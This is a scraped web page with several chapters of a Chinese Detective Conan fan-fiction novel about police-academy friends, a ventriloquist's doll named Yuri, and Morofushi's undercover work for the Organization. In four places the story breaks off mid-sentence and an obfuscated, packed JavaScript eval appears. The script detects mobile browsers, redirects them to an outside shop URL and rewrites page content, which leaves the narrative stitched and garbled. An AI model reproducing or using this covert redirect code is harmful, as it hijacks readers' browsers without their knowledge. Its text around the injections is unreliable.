l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527792|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” …… ………… 静默。可怕的寂静降临宿舍。 不是,哪里的女孩子声。录音机吗?娃娃身体里有录音机?可这内容——?! “抱歉,有里,让你害怕了吗?他们几个是我的朋友。但是——是谁掀了你的裙子?” 在说话,诸伏景光在跟那个娃娃说话! 接下来,让他们难以忘怀,纵使时隔多年还时而在噩梦中重现的场景出现了。 “是那个人,哥哥,那个卷毛不仅掀起人家裙子看,还拉扯人家的腿!” 他们看到,诸伏景光已经举起人偶,人偶如同活着一般,正伸出手指向松田阵平的方向! “咦,我,不是,我不是故意的!” 松田阵平惊恐推脱,万万不敢说自己还曾提起要拆开看。 “他还说要把我拆开看!” 人偶在告状!人偶在指责他,在向人告状! “还有那个咖喱棒刚才扯了我的头发!” 愣了一下才反应过来的降谷零忍不住吐槽:“咖喱棒是什么鬼,太毒舌了!” 简直赛过他至今以来所听过的所有攻击他外貌的话语,好过分! “哦,全部都是同党吗。” 诸伏景光接话,表情没在笑。 三人不约而同打个冷颤。 “不是全部,剩下的那个人很温柔,把我放回去的时候还给我盖好被子。” 景光没有被安慰到,依然表情可怕:“哦,是吗,不愧是全警校最受欢迎的男人,在任何时候都会习惯性的招蜂引蝶,花花公子!” “诅咒人偶,这家伙竟然把诅咒人偶带到警校?快去通知班长,把这玩意儿没收掉!” 松田阵平慌乱中发动反击,一个小秘密,他,其实对超自然的东西完全没办法! “是腹语术,进入这个状态的小光会解开封印,抛弃温柔与道德,进入无差别攻击状态!那个人偶可是他见不到妹妹时候的替身啊,之前我都警告过你们别乱动!” 对此有着丰富经验的降谷零当机立断放弃抵抗,决定伸头一刀,让好友出出气,把这事揭过去。 “好,好厉害,还是第一次见到这样的,我看过的傀儡戏里可没有人能用腹语。话说刚才放人偶的时候被滑腻腻冰凉的东西碰了一下,那个人偶里是不是有什么东西?” 诸伏景光缓慢抬起眼皮,看向三人。 这个动作是以不断定格的形式,一卡一卡地完成的,简直就像一个大号的傀儡人偶,缓慢的掀起木头眼皮一般。 一时间在场的所有人竟然产生错位感,分不清到底谁才是真正的人偶。 “你,” “碰,” “了,” “我,” “的,” “妹,” “妹?” 随着每一个蹦出来的字,青年的脑袋下巴向右侧抬起,就像僵硬的人偶试图扭转自己久未上油的头颅。 “呀啊啊啊!” 分不清是谁先叫的,三人转身狼狈逃窜。 降谷零在脑中赞叹,小光不愧是专业人士,哪怕他知道是表演还是觉得很恐怖! 想归想,他步子可没放慢半点,数他跑得最快。 那句话怎么说来着,你不需要跑过熊,你只要跑过同伴就够了。 12. 第十二章 “还真是怀念,这就是那时候的人偶嘛。” 松田阵平回忆起过去忍不住感叹。 “当初景光那家伙追了我们整整一天,还用人偶吓唬我们,到现在回想起来我的小心脏还怦怦乱跳呢。” 萩原研二忍不住大笑:“你是指当时上厕所的时候感觉外面有人,一低头从下面的门缝看到娃娃跟你四目相对是吗?” 松田阵平脸色一黑:“我都被吓出了心理阴影,从那之后蹲马桶前总会先检查一下角落!过分,真的有够过分!” 研二耸肩:“谁让你叫嚣要拆掉别人的心肝宝贝。你只是被吓,我可是被狠狠揍了一顿啊~” “我宁可被揍!” 当初人偶事件造成整个宿舍鸡飞狗跳。景光很吓人,人偶还神出鬼没,犹如诅咒娃娃一般时常突兀出现在意想不到的角落,给警校生们带来极为沉重的心理阴影。 诸伏景光的腹语术真的很厉害,操控人偶的技艺也令人惊艳。哪怕直到现在,松田依然觉得景老爷明明有着光明未来却跑到警校上学,纯粹就是脑子坏掉了。 不过,考虑到景光的父母被杀害,凶手在逃的事,也不是不能理解。 前一段时间他们收到了景光的邮件,说他不准备做警察,先暂时与他们别过。两人对此都毫不意外。有着那般专业的技艺,景光应该走人偶师舞台表演方向,估计他是跑去哪里进修去了?毕竟人偶师也有人偶师的修行嘛。 反倒是降谷零声称自己找到国外的工作才挺奇怪的,什么工作,ICPO(国际警察)吗?警局也真无能,学年第一被其他官方组织挖走,里子面子都没了吧?不对,说不定人家还觉得与有荣焉。这就是松田看不起警察的原因,哪怕现在他同样是个警察也一样。 现在他们竟然收到了妹控寄来的人偶,两人的心中又产生新的猜测。 “那俩人该不会组队出道去做搞笑艺人了吧?” 松田阵平一边双手拿起人偶查看,一边满嘴跑火车。 “有可能哦,我们得在他们回来之前好好保管,照看好亲爱的妹妹酱呢。” 萩原研二点头赞同。看来那两人是去执行危险任务去了。诸伏知道自己最为信任的降谷零根本抽不开身,才会将珍贵的人偶托付给他俩。 明明小诸伏很珍重人偶,为了成为优秀的傀儡师才去做警察,现在反过来因为警察方面的任务不得不托付出人偶,这可真是—— “他还真是帅气到让人不知道说什么才好。” 萩原研二感慨。 “嘶,明明是可怕才对。有谁会把妹妹这个称呼用在自己疼爱的人偶身上?啊,妹妹的脸脏了,这里还有擦拭用的丝绸。手感是真丝,不愧是景老爷,我看看,还有保养关节的油,连假发保养液都有也太夸张了,原来头发是需要分开保养的吗?好复杂,看来我得收他保管费。” 嘴上骂骂咧咧,松田还是认真的把收到的东西分门别类放好。 说明书的前几页还挺正常的,是一些维护人偶的常识。毕竟是木制的玩意,不做好维护,很容易干裂或发霉。 后面写的就有些不明所以了,可以投喂完整的活物,不能投喂体型过大的动物,泡澡时需要大量海盐,洗澡清洁需拉好浴帘…… ……这说的是人偶吗? 听到萩原手舞足蹈着大喊:“我懂了,这是恐怖宠物店!人偶能吃人!”——这些故意吓唬他的话,令松田的额角渗出冷汗。 景老爷当初的那番骚操作,终究把他吓出来PTSD。但真男人绝不承认自己会怕鬼怪,真怕了铁定被嘲笑。 “应该是把饲养其他宠物的说明之类的东西搞错,装订说明的时候混进来了。有可能是蛇或者蜥蜴之类,没想到他还是爬行动物爱好者。” “说不定是海龟,这里提到了洗澡泡水需要放盐。”萩原也跟着很正经推测道,“我当年抓人偶时就觉得碰到了滑腻腻的东西。可能那个时候就带着了,藏在了人偶的衣服里什么的。” 松田不寒而栗:“你是说我们跟某种爬行类在一起毫无察觉的生活了一个学年?过分,景老爷完全不管我们的死活,真的好过分!” “哈哈哈当然是开玩笑,果然小阵平还是有点怕了吧?” 萩原研二搂住松田肩膀,用手怼怼对方的脸,啧啧,肌肉紧绷,果然怕了。 “既然如此,就由我来照看妹妹酱好啦。” “啧,你竟然想吓唬我好独占妹妹,才不会让你得逞。” “咔。” 人偶嘴巴突然动了!它自己张开了! 松田吓得差点把人偶丢出去,萩原研二手疾眼快将人偶接住。 “应该是不小心触动了机关。看起来挺精密的,还是小阵平你来负责平常的保养,我来将她打扮成美少女,之后供奉在家里好了。” 松田阵平嘴角一抽:“供奉,果然你也觉得她像诅咒人偶!” 萩原研二笑了:“不是说有付丧神,物件用久了就会有灵魂吗?既然这是他最为珍重的妹妹,真的有灵魂也说不定。” 两人不约而同想到,妹妹的名字叫有里。 当初杀害景光父母的凶手,外守一的女儿也叫有里。 是巧合吗?因为都是有里,外守一才会弄错? 不过,如果真的有另一个叫有里的妹妹,恐怕在案件发生时她同样也会遭遇不幸。 那么就是收养他的新家庭,还有一个女儿,恰巧也叫有里? 又或者……根本不存在那样一个妹妹。 陪伴诸伏景光度过孤独童年的,只是一个想象之中的妹妹,诸伏景光认为病故的有里一直作为妹妹陪着自己,说不定是这样。 真不知道有里妹妹有着何等魅力,无论是不相信她死掉的亲生父亲也好,还是将她当做虚拟妹妹,将自己心爱的人偶也取了同样名字的景光也罢,见过她的男人似乎都对她念念不忘。 当年案件解决之后,两人就对诸伏景光口中妹妹的真实性存疑。反倒是跟景光关系最近的降谷零没怎么怀疑的样子,明明他们私下问过,零根本没亲眼见过那个妹妹。可他就像是被猪油糊心,哪怕他们都暗示的挺明显,降谷零还是没想到其中联系,依然单纯的认定自己的幼驯染就是个妹控。 大约越是亲近的人越是如此,因为关系太近了,才不会立即联想到,对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527793|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心理出现了问题。 后来两人都没再继续追究。假如他们弄错了,那就仅仅是个丢脸的乌龙。假如他们的猜测是对的——真曝光了又有什么好处? 不管诸伏景光未来是想做警察还是做傀儡师,被人认为他的心理有问题显然不是什么加分项。 再说这个问题又不影响工作跟生活,说不定随着时间推移就慢慢好了,反正凶手也早已落网,童年的心理创伤,总有能痊愈的时候。作为朋友他们只能侧面提供帮助,包容友人的的一些小任性。 如今诸伏景光愿意将人偶托付给他们,在两人看来算是一个不小的进步。这证明诸伏景光试图往前走,他们也要尽可能的提供帮助才行。 两人商量一番,最终决定将人偶安置在松田阵平的工作车间里,这里最宽敞,还有一个用于展示的橱柜,可以将人偶摆进去。 如此一来无论是松田还是萩原都可以随时看到她,尤其是松田,他的卧室就在工作车间的后方。 之后发生了一件有点诡异的事。 某天回家,松田打开灯准备坐到沙发上看电视,突兀发现沙发上放着那尊人偶。 松田咦了一声,跟被踩到尾巴的猫一样窜到门口。 后来他小心翼翼的打量一番,发现人偶没有动,只是被安静的放在那里。 他立即检查了一下监控,发现没有人入侵自己的房子,松口气的同时,又觉得毛骨悚然。 ……这玩意儿真能动? 不不不,一定是萩原那家伙看到自己怕了,故意捉弄他。那家伙有他家的钥匙,监控系统也是两个人一起布控的,他自然知道监控死角。 松田阵平想着等下次见到幼驯染一定要狠狠的将他揍一顿,可是现在,嘴里说不怕的他,还是不敢独自一人半夜三更把人偶放回车间。 于是他在客厅找了一个合适的位置,将人偶摆在那里。 他连电视都不敢看了,赶紧溜回去睡觉。 第二天一切正常,没有像什么小说故事里一样,人偶再跟到卧室之类的。 松田松口气,他没有再将人偶放回去,就这么把人偶留在了客厅。 萩原研二后来说死都不承认是自己干的,大约是怕被他活活打死。当然,松田才不管他认不认账,直接将他打了一顿。 不是他说,这货多少沾点抖M,很多时候做事都损人不利己,就图一乐。能干出这种事的除了他萩原研二也没别人了。 “讨厌,万一不是人家呢?就不能是小有里寂寞了,想在人多的地方呆着?” 萩原研二嬉皮笑脸,果然是这家伙干的。 “得了吧你,咱们理科男,可不信什么怪力乱神。真有鬼的话,你就把人偶给我活活吃下去。” “过分了,小阵平,人家才不会对朋友的妹妹出手,你要相信人家的节操。” “重点竟然是那里?不愧是你,只要性别为女什么都可以,简直就是另一种意义的恐怖!别弄脏景老爷的人偶,他会活活手撕了你。” “喂喂喂,这么说也太过分了,真过分,小阵平,我伤心了,得哄哄才行。” “你快给我爬走!” 13. 第十三章 并不了解半点两位同期的烦恼,卧底中的诸伏景光正面临一个大问题。 “你是人偶大师橘左近的弟子吧?我在葬礼上见过你。” 与组织成员会面,第一秒就暴露了可还行! 见某位外国佬陷入回忆,诸伏景光当机立断开口打断。 “您好,我是绿川光,刚加入组织不久。” 走运的是在圈子里活动的时候大家都叫他小光,再加上圈内人一般都以艺名来行动,因而知道他真名是诸伏景光的不算太多。 “哦哦哦,你好,你可以叫我爱尔兰,在这里最好还是叫代号,傀儡师先生。” 诸伏景光一时间不知道该不该纠正对方给他起的外号,傀儡师这个职业太过特指,很容易被人锁定。但他的档案已经被公安加密保护,就算真有人调查到此等程度,也可以解释成他为家人报仇的愿望已经实现,因而离开学校回去当傀儡师。 组织的背景调查其实比一般人想象的更宽松。国际环境下,很多曾为官方背景的人因为吃不起饭生不起病,不得不一脚踏入血雨腥风。毕竟,你懂,很多国家的社会福利其实对他们不够友好。 这类人无法进入组织核心,但做个工具人还是绰绰有余,他们远比背景干净的人能干得多。只要你别遮遮掩掩故意隐藏可疑经历,又没有实锤背叛的证据,组织其实不介意这类人活跃。 “为什么你会加入组织——啊,我知道了,是为了积累经验是吗?我听说当年橘左近大人在云游之中获取了丰富的见闻,因而他能够轻松洞察人心。” 就跟演员之中的体验派一样,人偶师也是一种演员,只不过他们表演使用的是傀儡。对人心的揣摩,可以丰富他们的技艺,让他们的表演更加栩栩如生。 “正是如此,我还在游历阶段,需要积累经验才能真正出师。” 此时诸伏景光已经想起来这位爱尔兰先生了。淡金色短发,如同关公般在眉梢末端高高扬起的粗犷浓眉,体格壮硕如同海豹突击队员的男人——他的确在左近爷爷的葬礼上见过此人。爱尔兰当时跟着一位老先生前来,他似乎是老人的保镖。现在回想起来,老人跟他的关系看起来还挺亲密。 虽有怀疑,诸伏景光暂时没有将这条线索交给别人去调查的想法。左近老爷子与他的关系太近了,无论是谁来调查,不可避免会因此触及到他的真实身份。倘若经由内部人员的调查泄露了情报,势必会令他陷入被动局势。 ‘切不可急躁。’ 他在内心之中提醒着自己,同时与爱尔兰进行交谈。这位组织代号成员性格意外不错,比他的外表看起来更好说话。又或者是因为他们之前有过一面之缘,彼此算得上某种意义的知根知底。 爱尔兰很亲切的给他介绍了下组织情况。目前组织比较缺人的有好几个部门,主要分布在情报组,行动组,还有表世界的实体经济运作部门。 实体经济就包括的多了,从医药到车企应有尽有,一般专门负责搞钱。 这部分基本跟地下产业脱节,资金进出全都包装成项目资金,哪怕真出现什么问题,表面上的那些实体资产依然光鲜亮丽。 爱尔兰其实在为这个部门服务,是的,这个部门哪怕是武装力量都完全独立。在这个部门活动的人,大部分都有着丰厚资产,极高的社会地位,这是一个上层人才能进入的圈子。 不过,哪怕是上层,商战的打法依然朴实无华。好比鸽了军方订单的军火供应商,在海上神秘沉船之类的事,在这个圈子算常规操作。 爱尔兰对诸伏景光产生浓烈兴趣,就是因为‘橘左近大师爱徒’这一身份,在表世界有着相当程度的份量。 “琴酒那里不适合你,来我这边对你未来的发展更好,你还可以兼顾你的兴趣,甚至利用组织来增大你的交际圈。” 爱尔兰建议道。他的养父就是走的这条路线,利用组织把车企做大做强再反哺组织。在他看来这是一条不错的上升途径,比单纯打打杀杀要有发展。 诸伏景光心动了那么零点一秒,可他还是婉拒了。 “谢谢您的邀请,我还是新人,请让我先适应一段时间。” 正如妹妹所说,无论去了哪里都不要立即站队。就算要站队,也得先弄清情况再说。有时候能力强不强不要紧,站队站的好才更为重要。 两人又聊了两句,爱尔兰就把一个任务交给他。普通的任务他才不会专门跑来找新成员,他有用惯了的手下,他自己本身的能力也不俗。偏巧这次的任务不是爱尔兰擅长的领域。 如果任由任务流转到其他人好比情报组手里,等同白白将自己部门的利益拱手相让。爱尔兰还是更希望自己来处理这个问题,于是想着过来看看新人里有没有谁用得上。 “实在太巧了,这个任务正好跟人偶有关,如果是你的话,肯定比其他人更专业。” 爱尔兰将任务的详情资料交给他,笃定他铁定会接受。代号成员的要求,普通成员肯定无法拒绝。爱尔兰跟琴酒借人,顶多一条短信的事。 诸伏景光忍不住看了,反正资料已经在他手里,哪怕他不去做这个任务,多获得一些情报总没坏处。 任务的内容的确有趣,跟琴酒平常派给底层的那类打打杀杀任务完全是不同画风。有一个商业间谍盗取了组织相关企业的重要资料,这人突兀心脏病发作去世,遗物也都被家里人清理掉了。现在有线索表明,资料可能藏在他生前收藏的某一尊人偶之中,可惜人偶已经被一名人偶收藏家买走,布置在自己专门收藏人偶的别墅里。 万万没想到系列发生了,人偶收藏家突然遭遇空难。他的家人将别墅开放成人偶馆,对外收取门票来赚钱。 现在的问题就是,组织无法从数量高达几百的人偶里找到藏情报的那个人偶。再加上人偶馆还正在展出,他们没办法大摇大摆去逐一排查。 爱尔兰本来想着要不要多找几个人,晚上跑去翻人偶。反正人偶又跑不了,就是一个比较费时费力的活儿。 可现在他很走运的遇到了专业人士,有着人偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527794|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师背景的绿川光,肯定比一眼抓瞎的他对人偶的了解多。 诸伏景光很谨慎的将情况汇报给琴酒,得到对方许可才同意接下任务。目前琴酒跟爱尔兰的关系还不像后来那么糟糕,琴酒唯一的要求就是让绿川光在取得情报后,先检查一下内容,看是不是真如爱尔兰所说,里面仅仅是商业机密。 商业机密在琴酒这边,只能当敲诈勒索的把柄,一杆子买卖,换成爱尔兰的养父去操作,能转换为可持续的利益。 不过琴酒也提醒他别太相信爱尔兰。爱尔兰的能力还可以,就是脑子长肌肉里了。这位代号成员的行动,一般都需要配合一个长脑子的帮他策划。 以前这类工作是由某人来完成的,可惜现在某人老了,体力跟精力都不跟不上,其结果就是,爱尔兰最近的任务都完成得虎头蛇尾,总需要行动组或情报组帮忙收拾烂摊子。 一两次还行,时间久了,琴酒的耐心早晚也会被消耗干净。要是爱尔兰跟他养父继续一再这么整,可别怪他不客气。 至于现在,琴酒的耐心暂时还没燃烧殆尽,还愿意卖组织元老一个面子。 对此组织基层成员绿川光表示理解。类似于一个公司里的老资历,自己没有带项目的能力,还总爱揽活儿,拿到项目又总是搞砸让其他人帮忙擦屁股,最后项目完成还算他自己的功劳。 没想到黑衣组织也有这种事啊,越来越有自己在一家体量庞大的集团公司工作的既视感了。 琴酒对他来说就挺像前辈,就像刚才的提醒,像极了耐心的前辈在对刚入职的后辈进行指点。 如果单纯从现在的情况来看,真让他站队,绿川光还是更倾向于站琴酒。跟靠谱前辈一起工作,显然要比跟添麻烦的上级一起工作来得心情舒畅。可惜他是卧底,他要考虑如何快速上位获得代号,如此一来后者能带给他更多机会。 “小光,我怎么觉得你口中的琴酒,跟我所了解的不是一个人?那家伙将普通成员的性命视为草芥,就是因为这样我才选了情报组,情报组那边底层的报废率低很多。” 降谷零的吐槽虽迟但到。 “我觉得你融入的太快了,有点危险。不要不知不觉间就被他们同化啊!只有我们两个人的时候,我们还是用以往习惯的叫法好了。” 降谷零心思细腻,他担心好友太过融入环境,身心都被乌七八黑的组织污染了。名字是一个人在世上的自我定位,一个心灵的锚点。在私下互相称呼昵称虽显太过亲密,有一定隐患,那也总比被黑色势力污染心灵来得好。 “我知道了,Zero,如果是你的希望。” 诸伏景光同样担心降谷零,比起他,降谷零才是更容易受到他人影响的类型。零说出口的,应该也是他自己最为担心的事,他害怕真的逐渐成为组织的安室透,忘记曾经的降谷零。 他在担心他们一旦忘记名字,会找不到回去的路。 “放心好了,Zero,我有你在,还有史上最可爱的妹妹陪伴,我不会迷失方向。” 14. 第十四章 回旋镖总是虽迟但到。 萩原研二承认他被吓到了,他被坏心眼的小阵平以同样的手段吓得够呛。 好吧,上次是他做的,是他把妹妹放在客厅吓唬小阵平,谁让小阵平一副很害怕还非要装作不害怕的样子。 可你也不用这样报复他吧! 一开门,就看到门口矗立一个人偶挡在面前,萩原研二差点尖叫了。 “松田阵平!你要活活吓死我吗?” 坐在客厅餐桌前的松田阵平毫不在意地用筷子扒拉着碗。 “怎么,妹妹迎接你,你又不高兴,你看你又急。” 萩原研二气得够呛,因为他真被吓到了。 他抱起妹妹关上门,走到餐桌前一把将妹妹放在松田对面的凳子上,面对人偶的松田差点一口把紫菜汤喷人偶上,幸好他及时扭过头,避免破产悲剧。 ——就算有心理准备,猛地来个特写还是很恐怖好吗! “怎么,妹妹陪你一起吃饭,你又不高兴,你看你又急。” 萩原研二以同样的口吻回复道。 “哈?谁急了,明明是你急!” 松田不甘示弱回怼,都不知道自己实际说的话根本没啥攻击性。 结果就是,两个幼稚鬼放假一整天都在用人偶玩恐怖版本捉迷藏。什么上厕所开门杀,玩拆弹模型时回头睁眼杀,休息的时候床头睁眼杀,修机车的时候递来的不是扳手是木头手什么的,谁都不肯认输。 最后发展到出门骑车,机车前排放着一个娃娃,到外面吃饭,旁边座位上坐着一个娃娃,景点打卡照相,相片中间放着一个娃娃,结果拍出一个灵异照片的效果,这等极为夸张的发展。 “有里妹妹,景老爷不在,你就替他跟我们一起玩吧。” 松田阵平还振振有词的为自己如同孩子一般的幼稚行为找借口。 “我们需不需要再弄个小降谷的替身,这样一来等同我们四个一起玩了。” 萩原研二非但不阻止,反倒还添油加醋,试图让事态升级。 其结果就是,跟他们约好见面聚餐的伊达航,看到的是餐桌前坐着两位同期跟一尊木偶,还有一个手机支架上放着手机,手机展现着一张降谷零被遮挡住上半张脸,只露出大片古铜色皮肤跟闪亮着大白牙的照片,如此一个极为诡异的场景。 “班长,你来啦~” 萩原研二半闭一只紫罗兰色的柳叶眼,抬手向他招呼道。 松田一如既往懒散又自由地坐在另一边,他随手拉开椅子让班长过来坐,可是这个座位,正好面对那个极为可疑的人偶。 伊达航呆愣两秒,还是坐下。 突然人偶的身体往前一倾,猛地靠近了他一些,把他吓得往后一闪,差点从座位上闪下去。 “噗~!” “咯咯,哈哈哈哈,哈哈哈哈!” 两个没良心的家伙一阵爆笑,这让老好人反应过来自己被耍了。 “你们两个坏家伙,可恶,吓我一跳。这个人偶是诸伏的东西吧?我记得我以前在宿舍见过。你们最近见过他?” 伊达航想起来了,当时好像在宿舍也闹过类似的事,把大家吓得够呛,最后才发现原来是诸伏同学的恶作剧,那家伙外表看不出,实际上相当的腹黑呢。 严格来说警察宿舍是不允许带这类东西进去的,还是后来伊达航说服教官,说明诸伏同学有家里安排每日练习操控人偶的课业要完成,才勉强获得了许可。就这教官还用金属探测器把人偶扫了个好几遍,才同意可以将人偶放在宿舍里。 后来外守一被抓,人偶似乎在案子之中被磕碰到,送去人偶匠人那里维修,之后他就再也没有见到过这个人偶。 “我们也没见到人,他直接把人偶寄过来交给我们两人保管。” 松田耸肩道。 班长有些感慨:“关系真好啊,这说明比起其他人,他更信任你们。” “比起他,另外一个完全了无音讯,跟人间蒸发了一样。嘛,希望一切平安。” 伊达航没有直说自己的推测,他从侧面不着痕迹的暗示了一下,降谷零目前的工作恐怕不适合跟他们联系。 伊达航秒懂。一般人失去音讯,说不干警察了,那有可能是真的不干警察了。这个理由如果放在诸伏景光身上,他肯定会认为景光是去做傀儡师了。可放在全校第一的降谷零身上,他立即就想到执行秘密任务。 “好吧,希望他们一切顺利,平平安安最重要。” 几人又聊了一会儿,更新了一下彼此的情况。能文能武的萩原研二一如既往很受欢迎,有很多部门至今都希望他过去,可他还是因为担心松田,选择了爆.炸物处理班。 松田阵平则是性格使然,他太自我,容易得罪同僚跟领导。爆.炸物处理班的工作一来对他胃口,二来人际没那么复杂。这里是看重技术的地方,在这里干倒也还算适合他。 “我还是老样子,警署一向忙碌,工资也不算高。自己生活没问题,可要想结婚还是有点勉强。” 伊达航苦笑一下,他有一个谈了好几年的女朋友,本来都该结婚了,却因他买不起婚房拖到现在,也亏娜塔莉愿意等他。虽说租房也可以,但他还是希望能给未来的妻子一份安心的生活基础。 “你就是太较真了,班长,我觉得娜塔莉根本不在意这些,你开口求婚,她肯定立即同意。” 女性之友萩原研二替班长的女朋友保证,哪怕班长没车没房,她都愿意立即结婚。 “就是因为她不在意,我才更觉得自己得配得上她才行。” 娜塔莉是英语老师,工资远比现在还是个小警察的伊达航高。当然警察也有警察的优点,辛苦是辛苦了些,胜在吃公家饭工作稳定。而且未来孩子如果在体系里发展,父亲在体系内将是很大优势。 “欲速则不达,有时候放慢脚步也是不错的选择。” 跟他们隔了一条走廊的隔壁桌前,正坐着喝咖啡的男人这样说道。 几人看过去,见到熟悉的面孔先是惊讶,随即惊喜。 “您是诸伏同学的兄长,诸伏高明先生!” 外守一事件的时候,这位警官专门从长野赶来协助搜查,最终跟他的弟弟诸伏景光一起抓住了在逃犯人。伊达航对此人的印象挺深,明明跟景光长得像,性格完全不一样。 “幸会,没想到这么巧。” “哥哥大人你还记得我们啊,真令人荣幸。” 松田明明是夸赞,听起来却像阴阳怪气。 研二用胳膊怼了他一下:“哈哈,好久不见,能在这里遇到真的很巧。” 诸伏高明知道松田对他态度不善,是责怪他长久不跟景光联系,他在为自己的朋友抱打不平。 你有一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527795|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好的朋友,小光。 “不是巧合,我是看到人偶才专门选了你们对面的座位。那个人偶,是以前总被景光带在身边的那一具吗?” 松田听了忍不住啧了一声。自己弟弟的事,还要问外人,这位兄长大人跟自己的亲弟弟还真不熟。 研二在桌下用腿磕了松田的腿一下,示意他别太失礼,毕竟眼前这位无论在工作上还是在生活中,都算他们的长辈。 “是的,这是诸伏很喜欢的一具人偶,他暂时将人偶交给我们来保管,今天带她出来参加聚会,等同于大家都一起参加了。” 大家? 扫一眼手机上依然亮着屏幕,估计关闭了自动熄屏功能,看着屏幕上所展现的画面,一口咖啡色背景下闪亮的大白牙,就算是诸伏高明都忍不住笑意。 有这样一群朋友,恐怕景光平时根本静不下来。 “我可以看一下人偶吗?” 当然没人阻拦,本来这就是诸伏景光的东西,他的亲哥想看,肯定没有任何问题。 诸伏高明将人偶拿起来端详,他正准备检查一下人偶内部,就被萩原研二抓住手腕制止了动作。 “抱歉,诸伏哥哥,没记错的话小景光很讨厌他人去动人偶的衣服,以前我们还因为掀人偶裙子被狠狠教训过。” 说着,他另一只手做出请求的手势。 “拜托,他都专门请求我们来照看了,可不可以不要掀裙子?” 这话一说出来,整个餐厅都寂静了。其他人的视线时不时往这里扫,似乎想偷看一下,到底是谁要掀娃娃裙子,那么想要掀裙子吗,都逼着别人求饶了,厉害啊,现代人!直面自己的XP,哪怕在公众场合都毫不妥协! 场面一度尴尬,松田阵平却忍不住笑出声来,他觉得萩原研二这家伙实在太坏了,挺好,算是替景老爷讨回点场子。 “抱歉,我只是有些好奇。如果照看她的过程中遇到任何问题,可以及时联系我,这是我的名片。” 几位成年人才后知后觉地跟着掏出名片交换。 等诸伏高明离开了,伊达航才松口气。 “你们两个!礼貌一点!他可是我们的前辈!” 松田很不当回事地用手指弹了弹名片。 “又不是一个部门,再说他在长野,能见到的机会很少。” 萩原研二也劝说:“你太直接了,再说兄弟间的事,外人不好插嘴。哪一天他们兄弟全都说开了两人和好,岂不是显得你做得太过头吗?” 松田抱着胳膊哼了一声:“我不懂,我又没有兄弟。假如我有兄弟,我可不会对我兄弟冷暴力。” “净瞎说,什么冷暴力,每个人性格不一样,人家只是克制,懂不懂什么叫克制?再说你对兄弟也没好到哪里去,你明明总冷暴力我。” “我那是冷暴力吗,我都是直接采取火热又直接的暴力!” 几人吵吵闹闹,现场气氛又融洽起来。 已经走出餐厅,站在街边的诸伏高明通过橱窗看向那几人的方向。 他低头看向自己不知何时被划伤的食指,血液已经凝结,只留下一道红色痕迹。 看来只能从别的方向上入手。说起来,当时景光把碎裂的石头与包装放哪里了?他去了趟老家,没有找到。父亲最初又是从谁的手里得到那样东西? “……欲速,则不达吗。” 15. 第十五章 从数百人偶之中找到特定的人偶,对诸伏景光来说手到擒来,轻而易举。 学习傀儡术可不是那么简单的东西,有关人偶的诞生年代,制作背景,曾经经历过哪些历史这些,都需要人偶师用心学习琢磨。 不同年代的人偶往往使用不同的材料,不同的流派传承了不同的制作技术。一些比较稀有的机关人偶,没有任何设计图纸流传下来,如果没有学习相关的知识,难以凭空猜测其中的机关跟真正的操控方法。 类似于自制改装电器,哪怕外壳看起来像普通电饭煲,你也难以确定煮饭按钮联通的是煮饭功能还是魔封波。 了解人偶的历史就不一样了,假如你能从做工外形、工艺、材料以及其他细节推敲出人偶的制作年代,甚至匠人流派,那么你就能很快推敲出这个人偶的真正操控方法。 诸伏景光是个极为认真的人,哪怕他没有决定自己未来是否要成为傀儡师,在橘老爷子在世的时候,他也非常用心跟随老爷子学习过。对于大多数的人偶,他都能轻松推断出人偶的年代跟来历,以此来推测人偶的大致构造。 这项让爱尔兰头疼的工作,只花了诸伏景光半天时间。他没有立即提交任务,怎么说,职场就是这样,如果你干活太轻松,上级不会欣赏你,而是会觉得这个工作本身就很轻松,之后不仅不会感谢你,还会堆给你更多无理取闹的任务。 他决定晚些再检查U盘内容,哪怕他不是专业搞电脑的,也知道浏览U盘肯定会留下阅览记录。这种尚未涉及人命程度的情报,他也没必要跟公安那边跟进得太紧,避免被组织发现端倪。目前他还只是个外围成员,还是行为更谨慎一点比较好。 诸伏景光愉快地决定今天先耐心浏览人偶展馆。里面的确有很多稀有的人偶,遗憾的是人偶馆现在的主人似乎不太清楚它们的价值,大部分的人偶都没有获得适合的保存跟充分保养,每一个看到这些的行内人恐怕都会心疼不已。 